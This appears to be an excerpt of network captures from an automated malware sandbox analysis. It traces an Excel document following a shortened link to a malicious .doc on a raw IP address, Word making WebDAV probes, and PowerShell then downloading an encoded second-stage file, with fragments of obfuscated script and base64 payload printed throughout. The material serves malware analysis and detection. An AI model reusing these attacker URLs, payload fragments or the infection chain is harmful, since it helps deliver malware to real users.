Sep 27, 2024 12:51:44.948668003 CEST	1236	IN	Data Raw: 00 71 00 51 00 5a 00 7a 00 74 00 70 00 69 00 4a 00 43 00 7a 00 73 00 4c 00 69 00 68 00 4c 00 69 00 75 00 63 00 22 00 0d 00 0a 00 55 00 67 00 4c 00 73 00 4c 00 75 00 66 00 4b 00 76 00 41 00 69 00 4b 00 6b 00 6d 00 64 00 4b 00 4f 00 43 00 43 00 4b Data Ascii: qQZztpiJCzsLihLiuc"UgLsLufKvAiKkmdKOCCKoGZgiPAHusa = "bvHkdQlWPCokeKbfKOUUvLZAiecbikc"nLicdqZuxlmhffiGhmqWbBOiLhCPlpU
Sep 27, 2024 12:51:44.948678017 CEST	1236	IN	Data Raw: 00 20 00 22 00 4a 00 4e 00 65 00 47 00 57 00 6f 00 4c 00 57 00 4a 00 57 00 4b 00 75 00 70 00 71 00 66 00 68 00 49 00 7a 00 67 00 55 00 65 00 4b 00 48 00 69 00 63 00 57 00 4c 00 6e 00 57 00 66 00 50 00 22 00 0d 00 0a 00 78 00 57 00 50 00 54 00 4a Data Ascii: "JNeGWoLWJWKupqfhIzgUeKHicWLnWfP"xWPTJOCuAkLuKUlGGtLLfinOLrSzUUL = "qupsZOWWPPiZcffPptpPdWGfdPUChUf"CWAGbhGGpciiNbqk
Sep 27, 2024 12:51:44.953325033 CEST	1236	IN	Data Raw: 00 4e 00 63 00 49 00 66 00 4f 00 6c 00 7a 00 41 00 47 00 68 00 57 00 70 00 70 00 6b 00 47 00 67 00 5a 00 71 00 20 00 3d 00 20 00 22 00 63 00 65 00 55 00 43 00 6f 00 4e 00 52 00 55 00 57 00 52 00 69 00 41 00 4a 00 4b 00 5a 00 4b 00 57 00 68 00 78 Data Ascii: NcIfOlzAGhWppkGgZq = "ceUCoNRUWRiAJKZKWhxLiNBAJKIQKKc"bmQZielWOcPUZLGdGGpkWoBkttfPmgP = "oLLRdcWBbPctKLHhKeZZGPhSBLUnim

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49174	104.168.32.148	80	4036	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 12:51:55.024710894 CEST	77	OUT	GET /550/RWEER.txt HTTP/1.1 Host: 104.168.32.148 Connection: Keep-Alive
Sep 27, 2024 12:51:55.493712902 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 10:51:55 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Fri, 27 Sep 2024 08:58:44 GMT ETag: "a1000-623160ff57940" Accept-Ranges: bytes Content-Length: 659456 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 44 71 38 67 49 50 73 78 44 54 38 77 43 50 49 73 44 2f 37 77 39 4f 77 75 44 6c 37 51 33 4f 55 74 44 4d 37 41 68 4f 73 72 44 7a 36 77 71 4f 4d 71 44 62 36 51 6b 4f 6f 6f 44 45 36 67 67 4f 45 6f 44 41 35 77 66 4f 34 6e 44 39 35 41 36 4d 30 4d 44 4d 79 51 71 4d 67 4b 44 68 79 41 6f 4d 38 4a 44 63 79 67 6c 4d 49 4a 44 4f 79 67 69 4d 59 45 44 36 78 67 64 4d 55 48 44 30 78 77 63 4d 49 48 44 78 78 41 63 4d 38 47 44 75 78 77 61 4d 6f 47 44 70 78 41 61 4d 63 47 44 6d 78 51 5a 4d 51 47 44 6a 78 67 59 4d 34 46 44 64 78 41 48 41 41 41 41 6a 41 63 41 45 41 34 44 74 2b 41 71 50 59 36 44 68 2b 77 6e 50 30 35 44 62 2b 67 6d 50 67 35 44 54 2b 51 6b 50 77 34 44 4b 2b 41 69 50 59 34 44 46 2b 41 68 50 4d 34 44 43 2b 41 51 50 38 33 44 39 39 41 65 50 59 33 44 78 39 77 62 50 30 32 44 72 39 67 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDq8gIPsxDT8wCPIsD/7w9OwuDl7Q3OUtDM7AhOsrDz6wqOMqDb6QkOooDE6ggOEoDA5wfO4nD95A6M0MDMyQqMgKDhyAoM8JDcyglMIJDOygiMYED6xgdMUHD0xwcMIHDxxAcM8GDuxwaMoGDpxAaMcGDmxQZMQGDjxgYM4FDdxAHAAAAjAcAEA4Dt+AqPY6Dh+wnP05Db+gmPg5DT+QkPw4DK+AiPY4DF+AhPM4DC+AQP83D99AePY3Dx9wbP02Dr9gYPA2De9QXPY1DO9QTPYwD+8gNP4yDm8gHPYxDO8gxO4vD27g7OYuDe7g1O4sDG6gvOYrDu6gpO4pDW6gjO0oDG5gfOYnDu5gZO8lDe5AXOQlDM5ABOwjD04ALOQiDc4AFOwgDF4gwNofDy3g6NIeDa3g0NocDC2QvNsbD62AuNYbD02wsNgaDm2woNoZDW2QlN4YDN2whNYYDE1QfNwXD61AZNEWDZ1gVNQVDP1QTNwUDL1QSNcUDF1AAN4TD90APNoTD40gNNETDv0gKNgSDn0gJNQSDi0AINsRDZ0AGNYRDU0gENERDK0QCNMMD/zg8MAPDtzQ6MwNDazw1MMNDGzAxMEID9yAsM4KDrywpMoJDYyQlMEJDEygQM8HD7xgbMwGDpxQZMgFDWxwUM8EDCxAAM0DD7wQOMwCDqwwJMUCDjwgFMQBDRwwDM0ADAAAQAQCgBgDwP4/D7/w9Po+Do/Q5PE+DU/g0P88DL/wxPI4Dx+wrPw6Do+ApP85DO+AjPk4DF9AePYnDi5AXOolDZ5AWOQlDT5wTOkkDH5gROUkDE5wQOIgD+4QPOkjDz4QMOAjDv4
Sep 27, 2024 12:51:55.493740082 CEST	1236	IN	Data Raw: 67 4c 4f 30 69 44 73 34 41 4b 4f 63 69 44 6a 34 51 48 4f 73 68 44 61 34 51 47 4f 67 68 44 58 34 77 45 4f 49 68 44 4f 34 41 43 4f 59 67 44 46 34 41 42 4f 4d 67 44 43 33 67 2f 4e 30 66 44 35 33 77 38 4e 45 66 44 77 33 77 37 4e 73 65 44 71 33 67 35 Data Ascii: gLO0iDs4AKOciDj4QHOshDa4QGOghDX4wEOIhDO4ACOYgDF4ABOMgDC3g/N0fD53w8NEfDw3w7NseDq3g5NUeDh3w2NkdDY3A1N4cDM3wyNocDJ3QhN8bD+2AuNYbD12AtNMbDy2grN0aDp2woNEaDg2AnNsZDX2QkN8YDO2QjNkYDI2ARN4XD81weNoXD51QdNQXDw1gaNgWDn1gZNUWDh1AYNwVDW1AVNMVDS1gTN0UDJ1wQN
Sep 27, 2024 12:51:55.493756056 CEST	1236	IN	Data Raw: 78 44 58 38 51 46 50 4d 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44 6e 37 51 35 4f 4d 75 44 68 37 77 33 4f 30 74 44 Data Ascii: xDX8QFPMxDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj
Sep 27, 2024 12:51:55.493769884 CEST	1236	IN	Data Raw: 77 78 4f 59 41 41 41 41 41 4f 41 46 41 4f 41 41 41 41 4e 6b 53 44 6f 30 77 4a 4e 59 53 44 6c 30 41 4a 4e 4d 53 44 69 30 51 49 4e 41 53 44 66 30 67 48 4e 30 52 44 63 30 77 47 4e 6f 52 44 59 30 77 46 4e 59 52 44 56 30 41 46 4e 4d 52 44 52 30 67 44 Data Ascii: wxOYAAAAAOAFAOAAAANkSDo0wJNYSDl0AJNMSDi0QINASDf0gHN0RDc0wGNoRDY0wFNYRDV0AFNMRDR0gDN0QDM0wCNoQDJ0ACNcQDF0ABNMQDC0QANAMD/zg/MwPD6AAAAcBQBQDgO8rD+6QvOwrD76guOkrD46wtOYrD16AtOMrDy6QsOArDv6grO0qDs6wqOoqDp6AqOcqDm6QpOQqDj6goOEqDg6wnO4pDd6AnOspDa6QmO
Sep 27, 2024 12:51:55.493778944 CEST	1236	IN	Data Raw: 79 44 6e 38 51 4a 50 4d 79 44 68 38 77 48 50 30 78 44 62 38 51 47 50 63 78 44 56 38 77 45 50 45 78 44 50 38 51 44 50 73 77 44 4a 38 77 42 50 55 77 44 44 38 51 77 4f 38 76 44 39 37 77 2b 4f 6b 76 44 33 37 51 39 4f 4d 76 44 78 37 77 37 4f 30 75 44 Data Ascii: yDn8QJPMyDh8wHP0xDb8QGPcxDV8wEPExDP8QDPswDJ8wBPUwDD8QwO8vD97w+OkvD37Q9OMvDx7w7O0uDr7Q6OcuDl7w4OEuDf7Q3OstDZ7w1OUtDT7Q0O8sDN7wyOksDH7QxOMsDB6wvO0rD76QuOcrD16wsOErDv6QrOsqDp6wpOUqDj6QoO8pDd6wmOkpDX6QlOMpDR6wjO0oDL6QiOcoDF6wgOEkD/5QfOsnD55wdOUnDz
Sep 27, 2024 12:51:55.493784904 CEST	1236	IN	Data Raw: 6f 2f 50 77 2f 6a 35 2f 77 39 50 53 2f 44 79 2f 34 37 50 79 2b 7a 70 2f 30 35 50 54 2b 54 69 2f 38 33 50 6b 39 54 53 2f 59 79 50 44 34 44 36 2b 34 74 50 55 37 6a 79 2b 41 73 50 32 36 44 72 2b 49 71 50 59 36 6a 6a 2b 51 6f 50 36 35 44 63 2b 59 6d Data Ascii: o/Pw/j5/w9PS/Dy/47Py+zp/05PT+Ti/83Pk9TS/YyPD4D6+4tPU7jy+AsP26Dr+IqPY6jj+QoP65Dc+YmPc5jU+gkP+4TN+4gPG0z79scPP2TU9QBPYzTy8oLPHyzf7s7Ozuzq7M2O+sDH6cvOorT26QBOGjjH4IwN+dTYzU5MPOzez01MLNjRxceMzGjgxwXMVAjKwsBMPAAAAQKAFAHAAAwP//j4/o9Pw+Ta/k0P98TM/0xP
Sep 27, 2024 12:51:55.493793964 CEST	1236	IN	Data Raw: 35 44 55 2b 67 52 50 41 33 44 73 39 59 61 50 5a 32 7a 6a 39 41 59 50 6d 31 7a 58 39 67 56 50 52 31 6a 48 39 6b 51 50 45 77 7a 38 38 6b 4f 50 4c 7a 7a 72 38 30 4a 50 4c 79 44 66 38 49 67 4f 35 72 6a 30 36 63 6d 4f 41 6c 7a 6d 32 49 74 4e 7a 61 54 Data Ascii: 5DU+gRPA3Ds9YaPZ2zj9AYPm1zX9gVPR1jH9kQPEwz88kOPLzzr80JPLyDf8IgO5rj06cmOAlzm2ItNzaTR1oeNJSTv0ALNoSzezU0MCIT4yktMBLTrxAeMxGTQwYPMuDjcwsGMrAAAAAHAEAOAAAwPM/zn/w1PR9DS/QiP+7j9+cpPP6zX+4UPh2DN9QBPlzT38UMP5yjc84FPksDw7U3OstzY700OBtzI7sxOQszB6EvObrDo
Sep 27, 2024 12:51:55.494344950 CEST	1236	IN	Data Raw: 34 51 4f 7a 6e 6a 37 35 6b 65 4f 65 6e 6a 77 35 30 61 4f 4a 6d 44 68 35 38 58 4f 30 6c 44 57 35 51 54 4f 48 6b 6a 41 34 30 50 4f 79 6a 6a 31 34 77 4d 4f 75 69 54 71 34 51 4b 4f 5a 69 54 66 34 4d 48 4f 59 68 7a 55 34 34 45 4f 44 68 7a 4a 34 30 42 Data Ascii: 4QOznj75keOenjw50aOJmDh58XO0lDW5QTOHkjA40POyjj14wMOuiTq4QKOZiTf4MHOYhzU44EODhzJ40BOCcT/3g/NtfT03c8Nsezp3I6NXeDZ3A0N7cjN3syNOYj62YrNVaTf2gnNzZDa2YlN0YjJ2ohNLUj81scNDXDr1wZNgVDW1sTN2UTM0wNNXTTx04LN4STs0cINtRTW0EFNFRDK04xM7PT8zw9MLPTqz85MSOTiz82M
Sep 27, 2024 12:51:55.494359016 CEST	1236	IN	Data Raw: 58 54 77 7a 63 69 4d 6d 4c 54 78 79 45 71 4d 61 4b 54 6c 79 55 53 4d 70 42 6a 6d 41 41 41 41 41 42 41 42 41 41 77 50 6d 2f 54 34 2f 49 73 50 47 37 54 70 2b 45 6f 50 36 35 54 64 2b 67 51 50 63 77 44 37 35 41 5a 4f 47 4f 7a 42 79 41 57 4d 77 45 6a Data Ascii: XTwzciMmLTxyEqMaKTlyUSMpBjmAAAAABABAAwPm/T4/IsPG7Tp+EoP65Td+gQPcwD75AZOGOzByAWMwEjCw0OM3AzGAAAAwAwAwDAAA8jw/gaOpljB4QLOwiDr4gKOkiDo4wJOYiDl4AJOMiDi4wWNxODVAAAAwAwAgDAAAYDj2goNEaDg2wnN4ZDd2AXNkXDb1gWNkVDY1wVNYVDV1AFNETDT0gENERDQ0wDN4QDN0AzMnODM
Sep 27, 2024 12:51:55.494374990 CEST	1236	IN	Data Raw: 55 4b 4d 66 43 54 6d 77 4d 4a 4d 4f 43 44 69 77 49 49 4d 38 42 7a 64 77 45 48 4d 72 42 54 5a 77 41 47 4d 61 42 7a 55 77 34 45 4d 4a 42 7a 51 77 30 44 4d 33 41 6a 4d 77 77 43 4d 6d 41 44 49 77 73 42 4d 56 41 7a 44 77 6b 41 4d 45 41 41 41 42 67 45 Data Ascii: UKMfCTmwMJMOCDiwIIM8BzdwEHMrBTZwAGMaBzUw4EMJBzQw0DM3AjMwwCMmADIwsBMVAzDwkAMEAAABgEADAGAAAwP+/D+/I/Pt/z5/E+Pb/j1/A9PK/Dx/87P5+zs/06Po+jo/w5PW+Tk/s4PF+zf/o3P09jb/g2Pj9TX/c1PR9DT/Y0PA9jO/UzPv8TK/MyPe8DG/IxPM8zB/EgP67z8+0uPI2To9UBPRzDx80LP3yTs8AKP
Sep 27, 2024 12:51:55.494390965 CEST	1236	IN	Data Raw: 73 7a 41 36 38 76 4f 37 72 7a 39 36 4d 76 4f 6a 72 6a 7a 36 77 72 4f 79 71 44 71 36 77 6f 4f 39 70 6a 62 36 63 6d 4f 64 70 7a 55 36 6b 6b 4f 2f 6f 54 4e 36 49 51 4f 70 6e 7a 30 35 6f 62 4f 7a 6d 7a 70 35 41 61 4f 5a 6d 7a 62 35 55 57 4f 65 6c 7a Data Ascii: szA68vO7rz96MvOjrjz6wrOyqDq6woO9pjb6cmOdpzU6kkO/oTN6IQOpnz05obOzmzp5AaOZmzb5UWOelzV5AVOJlTF5sQOEgDz4UMOnizi4oHAAAAcAIAgAAAA5MbOsmDo5kZOOmzh58XOtlTX5YVOKlzQ5UTOukjJ5QROEgT/4EPOqjD34UNONjzu4sKOkiDm4EJODiDf4QHOidDs3M6NVejg3M3N/cTM3AyNLYzu24qNgaTj

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	172.67.179.215	443	3208	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-09-27 10:51:31 UTC	321	OUT	GET /a9ifFT HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: strmr.co Connection: Keep-Alive
2024-09-27 10:51:32 UTC	972	IN	HTTP/1.1 302 Found Date: Fri, 27 Sep 2024 10:51:32 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 210 Connection: close location: http://104.168.32.148/550/ed/enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson.doc strict-transport-security: max-age=15552000; includeSubDomains vary: Accept-Encoding vary: Accept x-content-type-options: nosniff x-dns-prefetch-control: off x-download-options: noopen x-frame-options: SAMEORIGIN x-xss-protection: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9hTaOCdUiXThkdL9nQrZPvODAxeLE9KxMm36FrqZUq8i9iln33lYTivqiAPtgsdGu5mU5Y6Egpy8e9TNrbBvmvn2628NOWvZa84J27y%2BQSHZgzeoQy7ucm17pg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9af0636e9843bf-EWR
2024-09-27 10:51:32 UTC	210	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 30 34 2e 31 36 38 2e 33 32 2e 31 34 38 2f 35 35 30 2f 65 64 2f 65 6e 77 65 67 65 74 62 61 63 6b 74 6f 65 6e 69 74 72 65 66 65 61 74 75 72 65 73 74 6f 75 6e 64 65 72 73 74 61 6e 64 68 6f 77 6d 75 63 68 67 72 65 61 74 73 68 65 69 73 76 65 72 79 63 75 74 65 72 67 69 72 6c 77 69 74 68 65 6e 74 69 65 72 74 68 69 6e 67 73 74 6f 62 65 67 72 65 61 74 61 6e 64 66 69 6e 65 66 6f 72 65 76 65 72 79 74 68 69 67 6e 67 65 74 62 61 63 6b 77 69 74 68 6e 65 77 73 79 73 74 65 6d 5f 5f 5f 5f 5f 5f 5f 76 65 72 79 6e 69 63 65 70 65 72 73 6f 6e 2e 64 6f 63 Data Ascii: Found. Redirecting to http://104.168.32.148/550/ed/enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson.doc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49165	104.21.64.88	443	3528	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-09-27 10:51:34 UTC	130	OUT	OPTIONS / HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: strmr.co Content-Length: 0 Connection: Keep-Alive
2024-09-27 10:51:34 UTC	796	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 10:51:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close allow: GET,HEAD strict-transport-security: max-age=15552000; includeSubDomains vary: Accept-Encoding x-content-type-options: nosniff x-dns-prefetch-control: off x-download-options: noopen x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tOnm5Hix23Dau8Yun%2B9mhJHri8O44xZXM2fKn8B43LpUj9sl9Nb8Kmeq9obGZtMxS1fdzHVg7Vmiz%2FfLoKLtlqdCJHydT1vGN6hRcCAPTCNG%2Fe4R8%2FlROrPEHg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9af0742fd232dc-EWR
2024-09-27 10:51:34 UTC	13	IN	Data Raw: 38 0d 0a 47 45 54 2c 48 45 41 44 0d 0a Data Ascii: 8GET,HEAD
2024-09-27 10:51:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49166	104.21.64.88	443	3528	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-09-27 10:51:36 UTC	115	OUT	HEAD /a9ifFT HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft Office Existence Discovery Host: strmr.co
2024-09-27 10:51:36 UTC	1018	IN	HTTP/1.1 302 Found Date: Fri, 27 Sep 2024 10:51:36 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 210 Connection: close location: http://104.168.32.148/550/ed/enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson.doc strict-transport-security: max-age=15552000; includeSubDomains vary: Accept-Encoding vary: Accept x-content-type-options: nosniff x-dns-prefetch-control: off x-download-options: noopen x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e57i%2BrgQh6PDe%2BG7vJf6UYQjx6BlV3Gs8kIrAYMxEri8sTDRqEO%2Fg5NyG6rToHduC6Owx4YLsdz6rq7dS26P99IEv7f8CFQg2FyL5Rs5JuSYACyj1zi5VDz6xw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9af07e9b0943be-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.22	49167	172.67.179.215	443

Timestamp	Bytes transferred	Direction	Data
2024-09-27 10:51:40 UTC	125	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601 translate: f Host: strmr.co
2024-09-27 10:51:40 UTC	794	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 10:51:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close allow: GET,HEAD strict-transport-security: max-age=15552000; includeSubDomains vary: Accept-Encoding x-content-type-options: nosniff x-dns-prefetch-control: off x-download-options: noopen x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=feTEuuiDgad8BWWmD6zOU40qu%2FAH7cDKXoryWWJ4fwms2hccykVlTAfyCaZt%2BFlx33bkXLvRNWWfenHWrd%2BZDHkht8gdUuzhpkFY5Pt9vqftVi1OdrpOnkapBA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9af097fca1430e-EWR
2024-09-27 10:51:40 UTC	13	IN	Data Raw: 38 0d 0a 47 45 54 2c 48 45 41 44 0d 0a Data Ascii: 8GET,HEAD
2024-09-27 10:51:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.22	49168	172.67.179.215	443

Timestamp	Bytes transferred	Direction	Data
2024-09-27 10:51:41 UTC	155	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 73 74 72 6d 72 2e 63 6f 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: strmr.co
2024-09-27 10:51:41 UTC	831	IN	HTTP/1.1 404 Not Found Date: Fri, 27 Sep 2024 10:51:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close content-security-policy: default-src 'none' strict-transport-security: max-age=15552000; includeSubDomains vary: Accept-Encoding x-content-type-options: nosniff x-dns-prefetch-control: off x-download-options: noopen x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yw39Eg2AjedQvQNaFnUkaqi8qNdKfnqcb0snPBg7%2FrmnVXmuuZKzrY8E1QBpyYtZ2hdTfMGl0xnnGAr6wwOmuwhZ1BKa6aKYCJM3e%2B6qIBDzV%2B0%2Bu3PXE2BAEA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9af0a0485543f2-EWR
2024-09-27 10:51:41 UTC	150	IN	Data Raw: 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 50 52 4f 50 46 49 4e 44 20 2f 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 90<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot PROPFIND /</pre></body></html>
2024-09-27 10:51:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.22	49169	172.67.179.215	443

Timestamp	Bytes transferred	Direction	Data
2024-09-27 10:51:42 UTC	155	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 73 74 72 6d 72 2e 63 6f 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: strmr.co
2024-09-27 10:51:42 UTC	829	IN	HTTP/1.1 404 Not Found Date: Fri, 27 Sep 2024 10:51:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close content-security-policy: default-src 'none' strict-transport-security: max-age=15552000; includeSubDomains vary: Accept-Encoding x-content-type-options: nosniff x-dns-prefetch-control: off x-download-options: noopen x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1uOQy5OWhwgAEDA6b%2B9DSXraCaEiJEQSggwDrBIvFBooBZvd8XlHkEQVagDaYxLSdTVeyiJOF8F3AaQS%2F5Fbu7XhkizjwyA6ucFyjZ3NohOo5rKM%2FIMPrMeqdQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9af0a5d895c332-EWR
2024-09-27 10:51:42 UTC	150	IN	Data Raw: 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 50 52 4f 50 46 49 4e 44 20 2f 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 90<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot PROPFIND /</pre></body></html>
2024-09-27 10:51:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49170	104.21.64.88	443	3528	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-09-27 10:51:43 UTC	134	OUT	HEAD /a9ifFT HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: strmr.co Content-Length: 0 Connection: Keep-Alive
